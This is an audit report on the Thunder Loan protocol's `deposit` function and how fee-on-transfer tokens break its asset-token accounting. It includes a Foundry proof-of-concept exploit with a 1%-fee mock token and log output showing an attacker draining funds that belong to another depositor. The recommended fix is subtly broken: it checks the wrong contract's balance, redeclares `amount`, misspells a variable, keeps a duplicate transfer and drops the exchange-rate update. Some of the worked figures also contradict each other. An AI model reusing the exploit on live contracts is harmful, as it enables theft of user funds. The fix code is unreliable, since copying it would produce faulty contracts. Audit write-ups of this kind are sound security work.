Thunder Loan

## Description `deposit` function do not account the amount for fee tokens, which leads to minting more Asset tokens. These tokens can be used to claim more tokens of underlying asset then it's supposed to be. ## Vulnerability Details Some ERC20 tokens have fees implemented like autoLP Fee, marketing fee etc. So when someone send say 100 tokens and fees 0.3%, then receiver will get only 99.7 tokens. `Deposit` function mint the tokens that user has inputted in the params and mint the same amount of Asset token. ```solidity function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); @> uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); uint256 calculatedFee = getCalculatedFee(token, amount); assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ``` As you can see in highlighted line, It calculates the token amount based on `amount` rather actual token amount received by the contract. If any fees token is supplied to contract, then `redeem` function will revert (due to insufficient funds) or if there are multiple users who supplied this token, then some users won't be able to withdraw there underlying token ever. ## Proof of Concept Token like `STA` and `PAXG` has fees on every transfer which means token receiver will receive less token amount than the amount being sent. Let's consider example of `STA` here which has 1% fees on every transfer. When user put 100 tokens as input, then contract will receive only 99 tokens, as 1% being goes to burn address (as per STA token contract design). User will be getting Asset token amount based on input amount. ```solidity uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; ``` `Alice` initiate a transaction to call `deposit` with 1 million `STA`. `Attacker` notice the transaction and `deposit` 2 million `STA` before him. So contract will be receive 990,000 tokens from `Alice` and 198000 tokens from attacker. Now attacker call withdraw the `STA` token using all Asset tokens amount he received while depositing. Attacker get's 1% more than he supposed to be, As fee is deducted from contract. Alice won't be able to claim her underlying amount that she supposed to be. It make more sense for attacker to call it, as token fee is being accrued to him. Here is given example in foundry where we set asset token which has 1% fees. in `BaseTest.t.sol` we import custom erc20 for underlying token creation which has 1% fees on transfers. `CUSTOM MOCK TOKEN` ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {ERC20} from "../token/ERC20/ERC20.sol"; contract CustomERC20Mock is ERC20 { constructor() ERC20("ERC20Mock", "E20M") {} function mint(address account, uint256 amount) external { _mint(account, amount); } function burn(address account, uint256 amount) external { _burn(account, amount); } function _transfer(address from, address to, uint256 amount) internal override { _burn(from, amount/100); super._transfer(from, to, amount - (amount/100)); } } ``` updated `BaseTest.t.sol` file ```diff // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { Test, console } from "forge-std/Test.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol"; import { MockTSwapPool } from "../mocks/MockTSwapPool.sol"; import { MockPoolFactory } from "../mocks/MockPoolFactory.sol"; + import { CustomERC20Mock } from "../mocks/CustomERC20Mock.sol"; import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; contract BaseTest is Test { ThunderLoan thunderLoanImplementation; MockPoolFactory mockPoolFactory; ERC1967Proxy proxy; ThunderLoan thunderLoan; ERC20Mock weth; - ERC20Mock tokenA; + CustomERC20Mock tokenA; function setUp() public virtual { thunderLoan = new ThunderLoan(); mockPoolFactory = new MockPoolFactory(); weth = new ERC20Mock(); - tokenA = new ERC20Mock(); + tokenA = new CustomERC20Mock(); mockPoolFactory.createPool(address(tokenA)); proxy = new ERC1967Proxy(address(thunderLoan), ""); thunderLoan = ThunderLoan(address(proxy)); thunderLoan.initialize(address(mockPoolFactory)); } } ``` ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { Test, console2 } from "forge-std/Test.sol"; import { BaseTest, ThunderLoan } from "./BaseTest.t.sol"; import { AssetToken } from "../../src/protocol/AssetToken.sol"; import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.sol"; contract ThunderLoanTest is BaseTest { uint256 constant ALICE_AMOUNT = 1e7 * 1e18; uint256 constant ATTACKER_AMOUNT = 2e7 * 1e18; address attacker = address(789); address alice = address(0x123); MockFlashLoanReceiver mockFlashLoanReceiver; function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); } function testAttackerGettingMoreTokens() public setAllowedToken { tokenA.mint(attacker, ATTACKER_AMOUNT); tokenA.mint(alice, ALICE_AMOUNT); vm.startPrank(attacker); tokenA.approve(address(thunderLoan), ATTACKER_AMOUNT); /// First deposit in contract by attacker thunderLoan.deposit(tokenA, ATTACKER_AMOUNT); vm.stopPrank(); AssetToken asset = thunderLoan.getAssetFromToken(tokenA); uint256 contractBalanceAfterAttackerDeposit = tokenA.balanceOf(address(asset)); uint256 difference = ATTACKER_AMOUNT - contractBalanceAfterAttackerDeposit; uint256 attackerAssetTokenBalance = asset.balanceOf(attacker); console2.log(contractBalanceAfterAttackerDeposit, "Contract balance of token A after first deposit"); console2.log(attackerAssetTokenBalance, "attacker balance of asset token"); console2.log(difference, "difference b/w actual amount and deposited amount"); vm.startPrank(alice); tokenA.approve(address(thunderLoan), ALICE_AMOUNT); thunderLoan.deposit(tokenA, ALICE_AMOUNT); vm.stopPrank(); uint256 actualAmountDepositedByUser = tokenA.balanceOf(address(asset)) - contractBalanceAfterAttackerDeposit; console2.log(ALICE_AMOUNT, "Actual input by alice"); console2.log(actualAmountDepositedByUser, "Actual balance Deposited by Alice"); console2.log(tokenA.balanceOf(address(asset)), "thunderloan balance of Token A after Alice deposit"); console2.log(asset.balanceOf(alice), "Alice Asset Token Balance"); vm.startPrank(attacker); thunderLoan.redeem(tokenA, asset.balanceOf(attacker)); console2.log(tokenA.balanceOf(attacker), "AttackerBalance"); // how much token he claimed vm.stopPrank(); /// if alice try to claim her underlying tokens now, tx will fail as contract /// don't have enough funds vm.startPrank(alice); uint256 amountToClaim = asset.balanceOf(alice); vm.expectRevert(); thunderLoan.redeem(tokenA, amountToClaim); vm.stopPrank(); } } ``` run the following command in terminal `forge test --match-test testAttackerGettingMoreTokens() -vv` it will return something like this- ```terminal [⠒] Compiling... [⠊] Compiling 1 files with 0.8.20 [⠒] Solc 0.8.20 finished in 1.94s Compiler run successful! Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] testAttackerGettingMoreTokens() (gas: 1265386) Logs: 19800000000000000000000000 Contract balance of token A after first deposit 20000000000000000000000000 attacker balance of asset token 200000000000000000000000 difference b/w actual amount and deposited amount 10000000000000000000000000 Actual input by alice 9900000000000000000000000 Actual balance Deposited by Alice 29700000000000000000000000 thunderloan balance of Token A after Alice deposit 9970089730807577268195413 Alice Asset Token Balance 19879279219760479041600000 AttackerBalance ``` ## Impact Loss of user funds ## Recommendations Either Do not use fee tokens or implement correct accounting by checking the received balance and use that value for calculation. ```solidity uint256 amountBefore = IERC20(token).balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(assetToken), amount); uint256 amountAfter = IERC20(token).balanceOf(address(this)); uint256 amount = AmountAfter - amountBefore; ``` deposit function can be written like this. ```diff function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) { AssetToken assetToken = s_tokenToAssetToken[token]; uint256 exchangeRate = assetToken.getExchangeRate(); + uint256 amountBefore = IERC20(token).balanceOf(address(this)); + token.safeTransferFrom(msg.sender, address(assetToken), amount); + uint256 amountAfter = IERC20(token).balanceOf(address(this)); + uint256 amount = AmountAfter - amountBefore; uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate; emit Deposit(msg.sender, token, amount); assetToken.mint(msg.sender, mintAmount); uint256 calculatedFee = getCalculatedFee(token, amount); - assetToken.updateExchangeRate(calculatedFee); token.safeTransferFrom(msg.sender, address(assetToken), amount); } ```